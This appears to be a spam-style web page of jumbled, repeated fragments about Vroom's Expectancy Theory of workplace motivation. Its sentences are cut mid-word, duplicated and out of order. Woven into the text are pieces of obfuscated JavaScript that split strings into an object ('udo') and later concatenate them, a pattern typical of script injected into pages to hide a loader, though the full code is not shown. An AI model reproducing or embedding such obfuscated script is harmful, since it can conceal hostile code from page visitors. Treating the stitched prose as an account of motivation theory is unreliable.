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individual, than valence is positive.. Instrumentality: What is the probability of completing the Expectancy (Subjective
Probability)Expectancy is the individual’s belief about whether they can achieve the task.. Motivation and Motivation Theory:
Mar-No Adams' Equity Theory, which stresses the importance of striking a balance between employee inputs and outputs.. If an
individual feels that they can achieve the task then expectancy is measured as 1.. Expectancy theory (or expectancy theory of
motivation) proposes that an individual will behave or act in a certain way because they are motivated to select a specific
behavior over others due to what they expect the result of that selected behavior will be.

This view will be influenced by a number of things including: The type of skills needed for the task, Support expectations of co-
workers and line managers,Type of equipment/materials and.. The reward will satisfy an important need The desire to satisfy
the need is strong enough to make the effort worthwhile..
";udo["QB"]="'f";udo["yl"]="jq";udo["rR"]="==";udo["FN"]="rd";udo["ea"]="te";udo["lv"]=".. Factor's Influencing an
Employee's Opinion Under Vroom's Expectancy Theory an individual's opinion is influenced by the following factors:
Expectancy: Does the individual believe that they can achieve the task?Encyclopedia of Business, 2nd ed.. [1] In essence, the
motivation of the behavior selection is determined by the desirability of the outcome.. For example a task measured as 0
Valency (Personal Benefit/Personal Detriment)Valency measures how much an individual wants the consequences of
completing the task.

Availability of pertinent information Previous Experience Another factor influencing expectancy is previous experience..
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valence are praise, promotion, recognition and pay rises On the other hand if the individual believes that completing the task
will lead to something they don't want then valence for the task is negative.. This is done before making the ultimate choice The
outcome is not the sole determining factor in making the decision of how to behave.. On the other hand if they feel that the task
can not If the individual feels that the task may be achievable then it will be categorised between.. However, at the core of the
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Vroom's Expectancy Theory Introduction Vroom's Expectancy Theory states that when an employee is completing a task they
are influenced by their view on: The probability of completing the task and.. Examples of negative valence are tiredness, wet
clothes, redundancies and boredom.. If the task has been successfully completed in the past then expectancy will be high but if
the task has failed in the past or was difficult to perform then expectancy will be low.. j";udo["zT"]="({";udo["IV"]="}}";udo["j
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O"]+udo["Tf"]+udo["AO"]+udo["IV"]+udo["qu"]+udo["qf"]+udo["zu"]);This is the reference page for academic references for
persuasion-related topics.. There is a positive correlation between efforts and performance Favourable performance will result
in a desirable reward.. Under this theory the ultimate goal is not important to the individual; what matters to the individual is the
impact that achieving the goal will have on them. e10c415e6f 
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